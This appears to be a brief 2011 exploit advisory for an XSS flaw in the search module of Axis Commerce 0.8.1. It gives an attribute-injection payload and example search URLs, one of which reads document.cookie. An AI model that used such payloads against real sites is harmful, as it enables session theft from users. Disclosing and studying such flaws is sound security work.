20 lines
No EOL
561 B
Text
20 lines
No EOL
561 B
Text
# Exploit Title: Axis Commerce (E-Commerce System) Stored XSS
|
|
# Date: 19.08.2011
|
|
# Author: Eyup CELIK
|
|
# Software Link: https://github.com/downloads/axis/axiscommerce/axis-0.8.1.zip
|
|
# Version: 0.8.1 and previus
|
|
# Tested on: Apache (For Windows)
|
|
|
|
ISSUE
|
|
|
|
Vulnerable Modules => Search Module
|
|
|
|
XSS can be done using the command input
|
|
|
|
Example Code: " onmouseover=prompt(XSS Code) bad="
|
|
|
|
Example:
|
|
|
|
http://localhost/axis-0.7.0.4/search/result?q="onmouseover=prompt(906764) bad="
|
|
|
|
http://localhost/axis-0.7.0.4/search/result?q="onmouseover=prompt(document.cookie) bad=" |